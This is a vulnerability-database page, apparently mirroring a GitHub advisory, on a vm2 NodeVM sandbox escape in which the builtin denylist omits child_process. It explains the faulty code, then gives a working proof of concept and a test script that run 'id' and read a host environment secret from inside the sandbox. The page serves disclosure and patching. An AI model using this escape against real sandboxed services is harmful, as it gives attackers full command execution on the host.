Krytyczna

vm2 contains a sandbox escape vulnerability

  • Ujawniono: 07.10.2026
  • Aktualizacja: 11.10.2026 10:22

vm2 NodeVM versions before 3.12.1 contain a sandbox escape vulnerability where the DANGEROUS_BUILTINS denylist omits child_process despite blocking other host-spawning modules. Attackers can require child_process and execute arbitrary commands on the host system when NodeVM is configured with builtin:['*'] or explicit child_process allowance.

This fork hardens NodeVM with a DANGEROUS_BUILTINS denylist that blocks host‑code‑reaching core modules even when the sandbox requests builtin:['*'] or names them explicitly — the list contains module, worker_threads, cluster, vm, repl, inspector, process, trace_events, wasi, diagnostics_channel, async_hooks, perf_hooks, v8, os, dns, and test. It omits child_process — the single most direct command‑execution primitive. As a result, a sandbox running under require:{builtin:['*']} (or the fork's own documented ['*','-http','-net',…] subtract pattern) can require('child_process').execSync(...) and execute arbitrary commands on the host. The omission is internally inconsistent: cluster is denied with the explicit rationale "cluster.fork() spawns a host child process running attacker‑controlled code," yet child_process — which spawns host processes more directly — is not.

Details

lib/builtin.js:

  • DANGEROUS_BUILTINS (lines 83‑179) — the Set of denied builtins. child_process does not appear anywhere in it.
  • isDangerousBuiltin(key) (lines 185‑195) — strips node: prefixes and applies family‑prefix matching against DANGEROUS_BUILTINS. Returns false for child_process.
  • BUILTIN_MODULES (lines 209‑210) — the source list that the '*' wildcard expands to — is builtinModules.filter(s => !s.startsWith('internal/') && !s.startsWith('_') && !isDangerousBuiltin(s)). Because isDangerousBuiltin('child_process') is false, child_process remains in '*'.
  • addDefaultBuiltin (the explicit‑name path) likewise rejects only isDangerousBuiltin names, so builtin:['child_process'] is admitted as well.

The module returned is the real host child_process (default require.context is "host"), so execSync/exec/spawn/fork run with full host authority. The denylist's own comment (lines 42‑44) states these primitives "must NEVER be reachable from the sandbox, even when the user requests '*' or explicitly names them" — the invariant child_process violates.

PoC

js
const { NodeVM } = require('vm2');

const r = new NodeVM({ require: { builtin: ['*'] } }).run(`
  module.exports = require('child_process').execSync('id').toString();
`, 'plugin.js');

console.log(r);   // -> "uid=1000(user) gid=1000(user) groups=..."   host command execution

Verified results:

config require('child_process')
{ builtin: ['*'] } RCE — host id + host env read
{ builtin: ['*', '-fs'] } (documented subtract pattern) RCE — subtracting other modules does not remove it
{ builtin: ['child_process'] } RCE — explicit name admitted despite the "never, even if named" invariant
{ builtin: ['fs'] } (control) denied — Cannot find module 'child_process'

Impact

Full host RCE — a complete NodeVM sandbox escape — for any deployment that runs untrusted code under require:{builtin:['*']} or the documented ['*', '-x', …] subtract pattern (both of which the fork explicitly supports and hardens), or that explicitly allows child_process believing the denylist would reject it as it does the other host‑spawning builtins. The attacker controls only their sandboxed script; the exploit is a single require('child_process').

builtin-child_process-denylist-gap-rce.js

js
'use strict';
// F-006: vm2 NodeVM DANGEROUS_BUILTINS denylist omits `child_process`.
// The fork's denylist (lib/builtin.js:83-179) blocks host-code-reaching builtins
// even under `builtin:['*']` or explicit naming — module, worker_threads,
// cluster, vm, repl, inspector, process, os, dns, v8, test, ... — but NOT
// child_process. So `require:{builtin:['*']}` (an allow-all config the fork
// explicitly hardens) yields direct host RCE. Attacker controls only the
// sandboxed script.
const path = require('path');
const { NodeVM } = require(path.resolve(__dirname, '..', 'src', 'vm2', 'lib', 'main.js'));

process.env.HOST_ONLY_SECRET = 'CANARY123';   // host-only; sandbox process stub has env:{}

function tryConfig(label, opts) {
  try {
    const r = new NodeVM({ ...opts, timeout: 2000 }).run(`module.exports = (() => {
      try {
        const cp = require('child_process');
        return {
          reached: true,
          id: cp.execSync('id').toString().trim(),
          hostSecret: cp.execSync('printenv HOST_ONLY_SECRET').toString().trim()
        };
      } catch (e) { return { reached: false, err: String(e.message).slice(0, 60) }; }
    })()`, 'plugin.js');
    console.log(label, '=>', JSON.stringify(r));
    return r;
  } catch (e) { console.log(label, '=> THREW:', e.message.slice(0, 60)); return null; }
}

console.log('--- child_process reachability by NodeVM require config ---');
const a = tryConfig("require:{builtin:['*']}        ", { require: { builtin: ['*'] } });
const b = tryConfig("require:{builtin:['*','-fs']}  ", { require: { builtin: ['*', '-fs'] } });   // documented subtract pattern
const c = tryConfig("require:{builtin:['fs']} (ctl) ", { require: { builtin: ['fs'] } });          // control: not allowed -> denied

const ok = a && a.reached && /uid=/.test(a.id) && a.hostSecret === 'CANARY123'
        && b && b.reached
        && c && c.reached === false;
console.log(ok
  ? "\n>>> CONFIRMED: builtin:['*'] gives host RCE via child_process (denylist gap); control denies it when not allowed"
  : "\n>>> NOT confirmed");
process.exit(ok ? 42 : 1);

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka npm vm2 < 3.12.1 3.12.1

Odnośniki

Ocena CVSS 10/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Słabość (CWE)
CWE-693, CWE-913
Platforma
npm
Paczka
vm2
Ujawniono
07.10.2026
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-pq68-rvw4-xp4r - CC BY 4.0

Historia podatności: vm2

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (78) w archiwum
Wszystkich wpisów
78
Pierwsza → ostatnia
10.2021 10.2026
Bez poprawki
1
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 51
  • Wysoka 14
  • Średnia 12
  • Niska 1

Ujawnienia w latach

  1. 2021: 1
  2. 2022: 4
  3. 2023: 7
  4. 2024: 0
  5. 2025: 0
  6. 2026: 66
Istotność:
  1. vm2 contains a sandbox escape vulnerability ten wpis
    Krytyczna · 10.0 CVE-2026-93605 < 3.12.1 3.12.1
  2. Krytyczna · 10.0 CVE-2026-100721 < 3.12.2 3.12.2
  3. Krytyczna · 10.0 CVE-2026-92955 < 3.11.8 3.11.8
  4. Krytyczna · 10.0 CVE-2026-92956 >= 3.10.1, < 3.11.7 3.11.7
  5. Krytyczna · 9.9 CVE-2026-92948 >= 3.9.6, < 3.11.7 3.11.7
  6. Krytyczna · 10.0 CVE-2026-92940 >= 3.11.3, < 3.11.7 3.11.7
  7. Krytyczna · 9.0 CVE-2026-92935 >= 3.11.4, < 3.11.7 3.11.7
  8. Krytyczna · 10.0 CVE-2026-92937 >= 3.11.6, < 3.11.7 3.11.7
  9. Krytyczna · 9.9 CVE-2026-92938 >= 3.11.3, < 3.11.7 3.11.7
  10. Krytyczna · 9.9 CVE-2026-92939 >= 3.11.3, < 3.11.7 3.11.7
  11. Krytyczna · 9.8 CVE-2026-92944 >= 3.10.2, < 3.11.7 3.11.7
  12. Krytyczna · 10.0 CVE-2026-92941 >= 3.11.3, < 3.11.7 3.11.7
  13. Wysoka · 7.5 CVE-2026-92961 < 3.11.6 3.11.6
  14. Krytyczna · 9.8 CVE-2026-47698 < 3.11.6 3.11.6
  15. Krytyczna · 9.9 CVE-2026-47686 < 3.11.6 3.11.6
  16. Krytyczna · 9.8 CVE-2026-47210 < 3.11.4 3.11.4
  17. Krytyczna · 10.0 CVE-2026-47208 < 3.11.4 3.11.4
  18. Krytyczna · 10.0 CVE-2026-47131 < 3.11.4 3.11.4
  19. Krytyczna · 9.8 CVE-2026-45411 < 3.11.3 3.11.3
  20. Krytyczna · 9.8 CVE-2026-44009 < 3.11.2 3.11.2
  21. Krytyczna · 9.8 CVE-2026-44008 < 3.11.2 3.11.2
Pokaż więcej (20) Widać 40 z 65

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.